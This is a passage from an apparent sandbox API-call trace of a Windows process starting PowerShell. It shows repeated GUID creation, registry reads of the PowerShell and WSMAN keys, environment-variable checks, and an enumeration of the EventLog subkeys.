[3]=0xc2, [4]=0x71, [5]=0x2, [6]=0x11, [7]=0x9a))) returned 0x0 [0111.281] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb84e5799, Data2=0x4ada, Data3=0x4ea3, Data4=([0]=0xb0, [1]=0x4c, [2]=0xff, [3]=0x9c, [4]=0x17, [5]=0x37, [6]=0x29, [7]=0x32))) returned 0x0 [0111.281] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x2befcc92, Data2=0xa11b, Data3=0x4fe3, Data4=([0]=0xbd, [1]=0x4f, [2]=0x43, [3]=0xa6, [4]=0xbf, [5]=0x22, [6]=0xde, [7]=0x3d))) returned 0x0 [0111.281] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xf54192e8, Data2=0x2cbe, Data3=0x44b0, Data4=([0]=0xb6, [1]=0x6e, [2]=0xe8, [3]=0x56, [4]=0x12, [5]=0x28, [6]=0x4, [7]=0xc9))) returned 0x0 [0111.281] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x8c847573, Data2=0xd204, Data3=0x4df0, Data4=([0]=0x9a, [1]=0x2c, [2]=0xb0, [3]=0x1b, [4]=0xd8, [5]=0x75, [6]=0x1e, [7]=0x24))) returned 0x0 [0111.282] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x8eaed05b, Data2=0x51b4, Data3=0x4b4e, Data4=([0]=0xb5, [1]=0x36, [2]=0xb1, [3]=0x70, [4]=0x48, [5]=0x13, [6]=0x18, [7]=0xcd))) returned 0x0 [0111.286] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xecd5df6a, Data2=0xf408, Data3=0x4460, Data4=([0]=0x91, [1]=0xaf, [2]=0xc9, [3]=0xf7, [4]=0x9d, [5]=0x96, [6]=0x9f, [7]=0x9e))) returned 0x0 [0111.286] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x891ffd8e, Data2=0xb845, Data3=0x4b73, Data4=([0]=0xb5, [1]=0xcf, [2]=0x3d, [3]=0xc7, [4]=0x50, [5]=0xd4, [6]=0x3c, [7]=0x58))) returned 0x0 [0111.286] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xdea308c4, Data2=0x4a33, Data3=0x46d1, Data4=([0]=0x96, [1]=0x77, [2]=0x43, [3]=0x9a, [4]=0xb8, [5]=0xe9, [6]=0x45, [7]=0x9f))) returned 0x0 [0111.287] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x53ada50e, Data2=0x41b6, Data3=0x4f01, Data4=([0]=0xa4, [1]=0xe, [2]=0xa0, [3]=0xb, [4]=0x9e, [5]=0x40, [6]=0xc9, [7]=0x77))) returned 0x0 [0111.287] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x57f98d8e, Data2=0xa094, Data3=0x4881, Data4=([0]=0x85, [1]=0x3f, [2]=0x82, [3]=0xce, [4]=0x78, [5]=0x13, [6]=0x73, [7]=0x39))) returned 0x0 [0111.287] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x7da5b2ab, Data2=0xceb9, Data3=0x4a6a, Data4=([0]=0x84, [1]=0xee, [2]=0x20, [3]=0xab, [4]=0x78, [5]=0x4a, [6]=0xd7, [7]=0xae))) returned 0x0 [0111.287] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x9be85d81, Data2=0xf2f6, Data3=0x4c19, Data4=([0]=0x94, [1]=0x25, [2]=0xf9, [3]=0x97, [4]=0xb8, [5]=0x88, [6]=0x3a, [7]=0x9b))) returned 0x0 [0111.287] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x265beb1d, Data2=0x2c6c, Data3=0x494a, Data4=([0]=0x8c, [1]=0x57, [2]=0x22, [3]=0xce, [4]=0xc1, [5]=0x16, [6]=0xc3, [7]=0xf4))) returned 0x0 [0111.287] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x8f5e6040, Data2=0x1852, Data3=0x4ef3, Data4=([0]=0xab, [1]=0x92, [2]=0xc8, [3]=0xc5, [4]=0x56, [5]=0x90, [6]=0x51, [7]=0x9))) returned 0x0 [0111.288] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x4de561a2, Data2=0x1d1e, Data3=0x4307, Data4=([0]=0xae, [1]=0x6a, [2]=0xa5, [3]=0x89, [4]=0x89, [5]=0x54, [6]=0x37, [7]=0xd9))) returned 0x0 [0111.288] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x646af24c, Data2=0xd550, Data3=0x4ee4, Data4=([0]=0x97, [1]=0x20, [2]=0xfa, [3]=0x11, [4]=0x85, [5]=0x52, [6]=0x4b, [7]=0xb1))) returned 0x0 [0111.288] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xde38a996, Data2=0x504e, Data3=0x4cce, Data4=([0]=0xa1, [1]=0x50, [2]=0x5b, [3]=0xa1, [4]=0xb0, [5]=0x1f, [6]=0x32, [7]=0x36))) returned 0x0 [0111.288] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xf97ebe47, Data2=0xcc18, Data3=0x458b, Data4=([0]=0xa0, [1]=0x38, [2]=0xc9, [3]=0x26, [4]=0x7, [5]=0x78, [6]=0xf0, [7]=0x24))) returned 0x0 [0111.289] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb8190f1b, Data2=0xfde0, Data3=0x4acd, Data4=([0]=0x82, [1]=0x8a, [2]=0xeb, [3]=0xb5, [4]=0xf1, [5]=0x89, [6]=0xe6, [7]=0x9c))) returned 0x0 [0111.289] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x3910f196, Data2=0xf82f, Data3=0x4def, Data4=([0]=0xa6, [1]=0xd6, [2]=0xd1, [3]=0x65, [4]=0x43, [5]=0x0, [6]=0x53, [7]=0xb1))) returned 0x0 [0111.289] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x91cd9299, Data2=0x65a1, Data3=0x4247, Data4=([0]=0xa3, [1]=0x78, [2]=0x38, [3]=0x76, [4]=0x4a, [5]=0x57, [6]=0x5d, [7]=0x45))) returned 0x0 [0111.289] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x8bcc4c6c, Data2=0x2d45, Data3=0x4e54, Data4=([0]=0x8e, [1]=0xe4, [2]=0x1b, [3]=0xa5, [4]=0xf8, [5]=0xff, [6]=0xfa, [7]=0xe9))) returned 0x0 [0111.290] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x306e2aba, Data2=0x3f90, Data3=0x482e, Data4=([0]=0x84, [1]=0xa7, [2]=0x33, [3]=0xd2, [4]=0x2, [5]=0x38, [6]=0x51, [7]=0x7d))) returned 0x0 [0111.290] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x45576a41, Data2=0x2fc, Data3=0x4a7c, Data4=([0]=0x8b, [1]=0x40, [2]=0xdc, [3]=0xce, [4]=0x7a, [5]=0xe7, [6]=0x52, [7]=0xd0))) returned 0x0 [0111.290] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x30a5fbb1, Data2=0x6aeb, Data3=0x4037, Data4=([0]=0xac, [1]=0x8c, [2]=0x95, [3]=0x1, [4]=0x30, [5]=0x4b, [6]=0xf9, [7]=0x95))) returned 0x0 [0111.290] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x9ca06974, Data2=0x2947, Data3=0x41ca, Data4=([0]=0x8b, [1]=0x41, [2]=0x2a, [3]=0x90, [4]=0xd, [5]=0x40, [6]=0x14, [7]=0x4a))) returned 0x0 [0111.290] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xbce08af2, Data2=0x2483, Data3=0x4939, Data4=([0]=0x93, [1]=0x6, [2]=0xb, [3]=0x4, [4]=0x18, [5]=0xe0, [6]=0x29, [7]=0x29))) returned 0x0 [0111.290] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xf3c425de, Data2=0x72c8, Data3=0x4107, Data4=([0]=0xa8, [1]=0x9f, [2]=0x7c, [3]=0x95, [4]=0x37, [5]=0x5c, [6]=0x7b, [7]=0xff))) returned 0x0 [0111.291] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xbf6b9122, Data2=0x88cb, Data3=0x4108, Data4=([0]=0x9e, [1]=0xe6, [2]=0xf9, [3]=0xba, [4]=0x60, [5]=0x2e, [6]=0x96, [7]=0xff))) returned 0x0 [0111.291] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xfca8757b, Data2=0x3069, Data3=0x42ce, Data4=([0]=0x9d, [1]=0xd3, [2]=0xa1, [3]=0xc2, [4]=0xbe, [5]=0x9f, [6]=0x5, [7]=0x89))) returned 0x0 [0111.291] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xc6f2f657, Data2=0xb7b3, Data3=0x4347, Data4=([0]=0xa0, [1]=0x18, [2]=0x43, [3]=0x7f, [4]=0x1f, [5]=0xb, [6]=0x96, [7]=0xbc))) returned 0x0 [0111.291] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb82eb8c7, Data2=0xe4fd, Data3=0x43e0, Data4=([0]=0x9b, [1]=0xd9, [2]=0x64, [3]=0x0, [4]=0x43, [5]=0x3, [6]=0x6b, [7]=0x5))) returned 0x0 [0111.293] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x33733b9e, Data2=0x91b1, Data3=0x483d, Data4=([0]=0xb9, [1]=0xf2, [2]=0x9, [3]=0x3, [4]=0x72, [5]=0x8e, [6]=0xa2, [7]=0x82))) returned 0x0 [0111.294] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x80dbf7c1, Data2=0x43de, Data3=0x43e5, Data4=([0]=0x87, [1]=0xfd, [2]=0x75, [3]=0x13, [4]=0xc7, [5]=0xe7, [6]=0xde, [7]=0x77))) returned 0x0 [0111.294] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x10e656a3, Data2=0x1d46, Data3=0x4177, Data4=([0]=0xab, [1]=0xe2, [2]=0x2e, [3]=0x45, [4]=0xfb, [5]=0x24, [6]=0xc0, [7]=0x38))) returned 0x0 [0111.294] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x52b99b8a, Data2=0x119e, Data3=0x4a25, Data4=([0]=0xbc, [1]=0x3b, [2]=0xff, [3]=0x68, [4]=0xef, [5]=0x3d, [6]=0x83, [7]=0x49))) returned 0x0 [0111.294] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xdcf60ccb, Data2=0x7b05, Data3=0x4518, Data4=([0]=0x8d, [1]=0x5, [2]=0x3e, [3]=0x69, [4]=0xf3, [5]=0xb, [6]=0xa4, [7]=0x33))) returned 0x0 [0111.295] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xcce7d229, Data2=0xd377, Data3=0x42ed, Data4=([0]=0xa1, [1]=0xee, [2]=0x9c, [3]=0xcb, [4]=0x59, [5]=0x22, [6]=0x4, [7]=0x99))) returned 0x0 [0111.295] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x79d48c95, Data2=0xbf0a, Data3=0x44bc, Data4=([0]=0x80, [1]=0x5c, [2]=0xaf, [3]=0x7e, [4]=0x4c, [5]=0x15, [6]=0xd0, [7]=0xa9))) returned 0x0 [0111.295] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x2612b591, Data2=0xe0c5, Data3=0x4b82, Data4=([0]=0x96, [1]=0xf7, [2]=0x3a, [3]=0xc3, [4]=0xd4, [5]=0xdb, [6]=0x29, [7]=0xd0))) returned 0x0 [0111.295] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x69c254be, Data2=0x68da, Data3=0x4e60, Data4=([0]=0xa2, [1]=0xfe, [2]=0x7e, [3]=0xbb, [4]=0x5c, [5]=0x7c, [6]=0x14, [7]=0xf7))) returned 0x0 [0111.296] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x78ee653b, Data2=0xe162, Data3=0x46e4, Data4=([0]=0xbd, [1]=0x8f, [2]=0xc1, [3]=0x19, [4]=0xf3, [5]=0x24, [6]=0x6c, [7]=0xc3))) returned 0x0 [0111.296] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x77a0ad76, Data2=0xac12, Data3=0x4848, Data4=([0]=0xa6, [1]=0x33, [2]=0xeb, [3]=0x7a, [4]=0xe5, [5]=0x89, [6]=0xdc, [7]=0xdc))) returned 0x0 [0111.296] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xed281020, Data2=0x3a0e, Data3=0x471d, Data4=([0]=0x88, [1]=0x5f, [2]=0xf1, [3]=0xd3, [4]=0xfe, [5]=0xc1, [6]=0xcd, [7]=0x74))) returned 0x0 [0111.296] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xd5334df6, Data2=0x8c7e, Data3=0x4d85, Data4=([0]=0xab, [1]=0x38, [2]=0x6d, [3]=0xcf, [4]=0x4f, [5]=0xfd, [6]=0xb3, [7]=0x2))) returned 0x0 [0111.296] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xd7557acc, Data2=0x9806, Data3=0x4b97, Data4=([0]=0xb4, [1]=0xf, [2]=0x58, [3]=0x5a, [4]=0x7b, [5]=0x55, [6]=0xf, [7]=0x7d))) returned 0x0 [0111.296] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x68c26005, Data2=0xcee, Data3=0x41ce, Data4=([0]=0xae, [1]=0xb0, [2]=0x96, [3]=0x17, [4]=0xc5, [5]=0x98, [6]=0xb5, [7]=0xd9))) returned 0x0 [0111.303] CoTaskMemAlloc (cb=0x5a) returned 0x4c9920 [0111.303] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1eccbc, lpData=0x4c9920, lpcbData=0x1eccb8*=0x56 | out: lpType=0x1eccbc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1eccb8*=0x56) returned 0x0 [0111.304] CoTaskMemFree (pv=0x4c9920) [0111.304] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xd612c222, Data2=0x926b, Data3=0x448f, Data4=([0]=0x98, [1]=0x58, [2]=0x2f, [3]=0x64, [4]=0xaa, [5]=0x80, [6]=0x7, [7]=0x22))) returned 0x0 [0111.305] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x93cdb62f, Data2=0x9ca, Data3=0x4a84, Data4=([0]=0x87, [1]=0xf0, [2]=0x28, [3]=0xf8, [4]=0xac, [5]=0x6c, [6]=0x47, [7]=0xe2))) returned 0x0 [0111.346] CoTaskMemAlloc (cb=0x5a) returned 0x4c9920 [0111.346] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1eccbc, lpData=0x4c9920, lpcbData=0x1eccb8*=0x56 | out: lpType=0x1eccbc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1eccb8*=0x56) returned 0x0 [0111.347] CoTaskMemFree (pv=0x4c9920) [0111.347] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x5dc55cfc, Data2=0xa184, Data3=0x4cf3, Data4=([0]=0x8f, [1]=0x6e, [2]=0x47, [3]=0x15, [4]=0x2a, [5]=0x46, [6]=0x4a, [7]=0x79))) returned 0x0 [0111.348] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb328512, Data2=0x5e8e, Data3=0x4bfb, Data4=([0]=0x83, [1]=0x5b, [2]=0x4f, [3]=0x29, [4]=0x23, [5]=0xca, [6]=0x10, [7]=0x57))) returned 0x0 [0111.395] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0111.395] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.396] CoTaskMemFree (pv=0x41e6c0) [0111.396] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0111.397] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.397] CoTaskMemFree (pv=0x41e6c0) [0111.397] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0111.397] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.397] CoTaskMemFree (pv=0x41e6c0) [0111.398] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0111.398] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.398] CoTaskMemFree (pv=0x41e6c0) [0111.423] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0111.423] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.423] CoTaskMemFree (pv=0x41e6c0) [0111.476] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0111.476] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.476] CoTaskMemFree (pv=0x41e6c0) [0111.477] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0111.477] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.477] CoTaskMemFree (pv=0x41e6c0) [0111.491] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf78 | out: phkResult=0x1ecf78*=0x30c) returned 0x0 [0111.494] RegQueryInfoKeyW (in: hKey=0x30c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1ece7c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ece78, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1ece7c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ece78*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.494] CoTaskMemFree (pv=0x0) [0111.495] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.495] RegEnumValueW (in: hKey=0x30c, dwIndex=0x0, lpValueName=0x4665f0, lpcchValueName=0x1ecf28, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x1ecf28, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0111.495] CoTaskMemFree (pv=0x4665f0) [0111.496] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.496] RegEnumValueW (in: hKey=0x30c, dwIndex=0x1, lpValueName=0x4665f0, lpcchValueName=0x1ecf28, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x1ecf28, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0111.496] CoTaskMemFree (pv=0x4665f0) [0111.496] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.496] RegEnumValueW (in: hKey=0x30c, dwIndex=0x2, lpValueName=0x4665f0, lpcchValueName=0x1ecf28, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x1ecf28, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0111.496] CoTaskMemFree (pv=0x4665f0) [0111.496] CoTaskMemAlloc (cb=0xc) returned 0x1b882910 [0111.496] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x1ecedc, lpData=0x1b882910, lpcbData=0x1eced8*=0x8 | out: lpType=0x1ecedc*=0x1, lpData="2.0", lpcbData=0x1eced8*=0x8) returned 0x0 [0111.496] CoTaskMemFree (pv=0x1b882910) [0111.582] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecec8 | out: phkResult=0x1ecec8*=0x310) returned 0x0 [0111.582] RegQueryInfoKeyW (in: hKey=0x310, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1ecdcc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ecdc8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1ecdcc*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ecdc8*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.582] CoTaskMemFree (pv=0x0) [0111.582] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.582] RegEnumValueW (in: hKey=0x310, dwIndex=0x0, lpValueName=0x4665f0, lpcchValueName=0x1ece78, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x1ece78, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0111.582] CoTaskMemFree (pv=0x4665f0) [0111.582] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.582] RegEnumValueW (in: hKey=0x310, dwIndex=0x1, lpValueName=0x4665f0, lpcchValueName=0x1ece78, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x1ece78, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0111.582] CoTaskMemFree (pv=0x4665f0) [0111.582] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.582] RegEnumValueW (in: hKey=0x310, dwIndex=0x2, lpValueName=0x4665f0, lpcchValueName=0x1ece78, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x1ece78, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0111.582] CoTaskMemFree (pv=0x4665f0) [0111.582] RegQueryValueExW (in: hKey=0x310, lpValueName="StackVersion", lpReserved=0x0, lpType=0x1ece5c, lpData=0x0, lpcbData=0x1ece58*=0x0 | out: lpType=0x1ece5c*=0x1, lpData=0x0, lpcbData=0x1ece58*=0x8) returned 0x0 [0111.582] CoTaskMemAlloc (cb=0xc) returned 0x1b882c70 [0111.582] RegQueryValueExW (in: hKey=0x310, lpValueName="StackVersion", lpReserved=0x0, lpType=0x1ece2c, lpData=0x1b882c70, lpcbData=0x1ece28*=0x8 | out: lpType=0x1ece2c*=0x1, lpData="2.0", lpcbData=0x1ece28*=0x8) returned 0x0 [0111.582] CoTaskMemFree (pv=0x1b882c70) [0111.583] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0111.583] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.584] CoTaskMemFree (pv=0x41e6c0) [0111.594] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0111.594] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.594] CoTaskMemFree (pv=0x41e6c0) [0111.841] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecef8 | out: phkResult=0x1ecef8*=0x324) returned 0x0 [0111.842] CoTaskMemFree (pv=0x0) [0111.843] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.843] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x0, lpName=0x4665f0, lpcchName=0x1ecef8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x1ecef8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.843] CoTaskMemFree (pv=0x4665f0) [0111.843] CoTaskMemFree (pv=0x0) [0111.843] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.843] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x1, lpName=0x4665f0, lpcchName=0x1ecef8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x1ecef8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.843] CoTaskMemFree (pv=0x4665f0) [0111.843] CoTaskMemFree (pv=0x0) [0111.843] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.843] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x2, lpName=0x4665f0, lpcchName=0x1ecef8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x1ecef8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.843] CoTaskMemFree (pv=0x4665f0) [0111.843] CoTaskMemFree (pv=0x0) [0111.843] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.844] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x3, lpName=0x4665f0, lpcchName=0x1ecef8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x1ecef8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.844] CoTaskMemFree (pv=0x4665f0) [0111.844] CoTaskMemFree (pv=0x0) [0111.844] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.844] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x4, lpName=0x4665f0, lpcchName=0x1ecef8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x1ecef8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.844] CoTaskMemFree (pv=0x4665f0) [0111.844] CoTaskMemFree (pv=0x0) [0111.844] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.844] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x5, lpName=0x4665f0, lpcchName=0x1ecef8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x1ecef8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.844] CoTaskMemFree (pv=0x4665f0) [0111.844] CoTaskMemFree (pv=0x0) [0111.844] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.844] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x6, lpName=0x4665f0, lpcchName=0x1ecef8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x1ecef8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.844] CoTaskMemFree (pv=0x4665f0) [0111.844] CoTaskMemFree (pv=0x0) [0111.844] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.844] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x7, lpName=0x4665f0, lpcchName=0x1ecef8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x1ecef8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.844] CoTaskMemFree (pv=0x4665f0) [0111.845] CoTaskMemFree (pv=0x0) [0111.845] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0111.845] 